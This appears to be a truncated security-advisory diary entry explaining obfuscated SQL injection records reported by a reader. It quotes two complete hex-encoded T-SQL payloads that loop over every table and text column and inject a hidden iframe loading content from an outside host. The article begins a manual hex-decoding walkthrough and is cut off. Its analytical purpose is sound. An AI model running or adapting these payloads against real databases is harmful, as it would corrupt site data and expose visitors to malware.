Aug 15,2010

Obfuscated SQL Injection attacks, (Sun, Aug 15th)

Reader Alan reported a series of records that are similar to an SQL injection but are obfuscated. The following records were reported: declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320 764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61 6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964 20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595 0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2 05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657 845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722 834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343 73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324 53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343 34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324 6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65 5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6 55f435552736f7220%20as%20varchar(4000));exec(@s);-- declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320 566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452 c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420 612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7 220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736 f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27 2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929 2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363 8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232 3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323 6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228 31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054 61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);-- In both cases we see the use of the CAST command. What is its purpose? To change the information from a data type to another.Since the type of data that is contained in the sentence CAST is hexadecimal and varchar conversion is requested, we can do it manually with an ASCII table. Let's use the table in http://www.asciitable.com to perform the conversion. Keep in mind that two hexadecimal digits correspond to one byte. The conversion of the first seven ...

Filed Under: SANS Internet Storm Center, Tags: , , , , , ,

Leave a Reply